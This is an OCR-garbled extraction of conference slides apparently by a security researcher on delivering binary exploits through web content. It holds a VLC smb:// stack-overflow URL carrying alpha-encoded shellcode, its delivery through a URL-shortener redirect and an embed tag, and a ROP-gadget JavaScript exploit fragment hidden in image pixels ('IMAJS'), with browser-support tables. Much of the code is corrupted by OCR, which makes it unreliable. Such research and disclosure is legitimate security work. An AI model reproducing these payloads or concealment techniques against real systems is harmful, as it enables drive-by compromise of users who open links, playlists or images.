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# who am 1

Saumil Shah, CEO Net-Square.

« Hacker, Speaker, Trainer,
Author - 15 yrs in Infosec.

* M.S. Computer Science
Purdue University.

« saumil@net-square.com
 LinkedIn: saumilshah
o Twitter: @therealsaumil
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My area of work

Penetration Reverse Exploit

Testing Engineering Writing

New Offensive Attack
Research Security Defense

Conference "Eyes and
Speaker ears open”
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When two forces combine...

Binary

Exploits
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VLC smb overflow

* smb://example.com@0.0.0.0/foo/
HAAAAAAAA....}

e Classic Stack Overflow.



VLC XSPF file

<?xml version="1.0" encoding="UTF-8"7>
<playlist version="1"
xmlns="http://xspf.org/ns/0/"
xmlns:vlc="http://www.videolan.org/vic/playlist/ns/0/">
<title>Playlist</title>
<trackList>
<track>
<location>
smb://example.com@0.0.0.0/foo/#{AAAAAAAA. ...}
</location>
<extension
application="http://www.videolan.org/vic/playlist/0">
<vlc:1d>0</vic:id>
</extension>
</track>
</trackList>
</playlist>

l] net-square



Alpha
Encoded

'y




TinyURL.com - shorten that long URL into a tiny URL

( - ) () | ) (Ml ( hup://tinyurl.com/create.php w, - (

G

*' chmodbpf Q -

TinyURL.com

Making long URLs usable! More than 600 million of them. Serving billions of redirects per month

Home

Earats TinyURL was created!

Make Toolbar The following URL:

Button smb://example.com@0.0.0.0/foo/ #{AAAAAAAAAAAAAAAAAAAAAAAAAAAA 5
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Redirection AAAAAAAAj4?WTYIIIIIIIIIIIIIIIIZQZjAXPOAOAKAAQ2AB2BBOBBABXPSA ;
BuJICVK1JjIoFOQRPRBIGrChImDnEIGuBzCDHOOHF4POPOCgLKHzZNOQeIzNO H
Hide URLs CEJGIOM7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Preview AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
cool! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Feature AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ;

Link to Us! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATOOWTOOWWY :
IIIIIIIIIIIIIIII7QZjAXPOAOAKAAQ2AB2BBOBBABXPSABUJIKLIXCtGpCO 5

Terms of use GpLKQUGLNkQIFeD8GqHOLKPOEHLKCOQOEQHKQYLKP4NKEQINP1KpNyNLMTIP :
QdC7KqIZDMC102JKL4GKCAGTGtBUIULKQOQ4EQHKPFLKDLBKLKCOGIEQIKLK

Contact Us! GILKEQHKOYCIQ4GtIcEaIPBDNKkGOPOMUIPCHDLLKGOFINKPpGINMNKESGxXHKk

EYLKOpHOEPCOEPLKQxGLQOEaJVQpCfOyHxOsIPCKBpCXHpLIC4QOPhISKNN;j
DNF7KOIwPcCQPIQsDnCUCHPeEPAA)

ﬁ{ggl has a length of 989 characters and resulted in the following TinyURL which has a length of 26 characters: !
http://tinyurI.com/ycctrzf -

Cool Sites [Open in new window] i

) Or, give your recipients confidence with a preview TinyURL:

® CoolWhois.com :

® Unicyclist http://preview.tinyurl.com/ycctrzf

Communit [Open in new window] E

* M This TinyURL may have been copied to your clipboard. (This no longer works for those who have

® MagicBounce upgraded to Flash 10.) To paste it in @ document, press and hold down the ctrl key (command key for .
Party Rentals Mac users) while pressing the V key, or choose the "paste"” option from the edit menu. : Y

Next l Previous Highlight all _| Match case

|i| Done 'ﬂ}'i'::"fr' 35.255.210.133 +2 Tor Disal Y



VLC smb overflow - HTMLized

<embed type="application/x-vlc-plugin”
width="320" height="200"
target="http://tinyurl.com/ycctrzf"
1d="vlic" />



301 Redirect from tinyurl

HTTP/1.1 301 Moved Permanently

X-Powered-By: PHP/5.2.12

Location: smb://example.com@0.0.0.0/foo/
#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAj4?

WTYIIIIIIIIIIIIIIII7QZjAXPOAOAkAAQ2AB2BBOBBABXPSABuJ ICVK1] J IOFOQRPRBJIGrchimbnEl
GuBZCDHOOHF4POPOCgLKHZNOQeIZNOCEJGIOM7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

NAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANL

NAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANL

AAAAAAAAA.MTOOWTOOWWYIIIIIIIIIIIIIIII7QZjAXPO
AOAKAAQ2AB2BBOBBABXP8ABUJIKLIXCtGpCOGPLKQUGLNkQ1FeD8GQHOLKPOEHLKCOQOEQHKQYLKP4N
kEQJIN P1KpNyNLMTI PQdC7KqIZDMC102 JKL4GKCAGTGtBUIULKQOQ4EQHKPfLKDLBKLKCOGTEQIKLKG]
LKEQH kOyC'l Q4GtIcEaIPBDNKkGOPOMUIPCHDLLKGOFT NkaG1 NMNKE8GXxH kEYLKOpHOEPCOEPLKQXGLQ
OEaJVQpC‘FOyHXOSI PCKBpCXHpLJ C4Q0Ph3 8KNNj DNF7KOIwWPcCQP1QsDNnCUCHPeEPAA}
content-type: text/html

content-Length: 0O

connection: close

Server: TinyURL/1.6
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b) 255 shades of gray



Exploits as Images - 1

» Grayscale encoding (0-255).
» 1 pixel = 1 character.
» Perfectly valid image.

 Decode and Execute!






e0o Mozilla Firefox (@)
L http://192.168.128.129/png/datazpng.php 7 ¥ JELICI Google  Q JH i

function packv(n){var s=new Number(n).toString(16);while(s.length<8)s="0"+s; -
returnCunescape("%u"+s.substring(4, 8)+"%u"+s.substring(0,4)))}var addressof=new
Array();addressof["ropnop"]=0x6d81bdf@;addressof["xchg_eax_esp_ret"]=0x6d81bdef;
addressof["pop_eax_ret"]=0x6d906744 ;addressof[ "pop_ecx_ret"]=0x6d81cd57;
addressof[ "mov_peax_ecx_ret" ]=0x6d979720;
addressof["mov_eax_pecx_ret"]=0x6d8d7be0d;
addressof["mov_pecx_eax_ret"]=0x6d8eeedl;addressof["inc_eax_ret"]=0x6d838f54;
addressof["add_eax_4_ret"]=0x00000000; addressof["call_peax_ret" ]=0x6d8aec31;
addressof["add_esp_24_ret"]=0x00000000 ;addressof["popad_ret"]=0x6d82a8al;
addressof["call_peax"]=0x6d802597; function

N
v

data length 5108 I'm an evil Javascript

dimension 72

J




~ <CANVAS>

function packv(n){var S=hew
Number(n).toString(16);whi1e(s.1ength<8)s=" "4
s;return(unescape("%u”+s.substring(4,8)+"%u"+s
.substring(0,4)))}var addressof=new
Array();addressof["ropnop"]=0x6d81bdf0;address
of["xchg_eax_esp_ret"]=Ox6d81bdef;addressof["p
op_eax_ret"]=0x6d906744;addressof["pop_ecx_ret
"]=Ox6d81cd57;addressof["mov_peax_ecx_ret"]:Ox
-979720;addressof["mov_eax_pecx_ret"]=Ox6d8d7
-0;addressof["mov_pecx_eax_ret"]=Ox6d8eee01;a
ressof["inc_eax_ret"]=0x6d838f54;addressof["
d_eax_4_ret"]=0x00000000;addressof["ca]1_pea
et"]=0x6d8aec3l;addressof["add_esp_24_ret"]
OOOOOOOO;addressof["popad_ret"]=0x6d82a8a1;
ressof["ca11_peax"]=0x6d802597;function
nta110catev1rtua1memory(baseptr,siz=_cg]
ropnop=packv(addressof["ropnop"].;
re =packv(addressof["pop_eax_ret""

v(add essof["-:p_ecx_r:

"mov.







Same Same No Different!

var a = eval(str);

a = (new Function(str))();







IMAJS

Seeing is Believing




Browser Support for IMAJS-GIF

Height | Width | Browser/Viewer Image Javascript
Renders? Executes?

2f 2a 00 00 Firefox

2f 2a 00 00 Safari yes yes
2f 2a 0000 IE no yes
2f 2a 0000 Chrome yes yes
2f 2a 0000  Preview.app yes
2f 2a 0000 XP Image Viewer no
2f 2a 0000 Win 7 Preview yes



Browser Support for IMAJS-BMP

2f 2a
2f 2a
2f 2a
2f 2a
2f 2a
2f 2a
2f 2a
2f 2a

00 00
00 00
00 00
00 00
00 00
00 00
00 00
00 00

Firefox

Safari

IE

Chrome

Opera
Preview.app

XP Image Viewer
Win 7 Preview

yes
yes
yes
yes
yes
yes
yes
yes

yes
yes
yes
yes
yes






Encode using Alpha channel




Demo



f) ONE LAST DEMO!!!



The FUTURE?

W &

HTMLOY Video
NG
WehGL

Mobile




saumil@net-square.com | @therealsaumil
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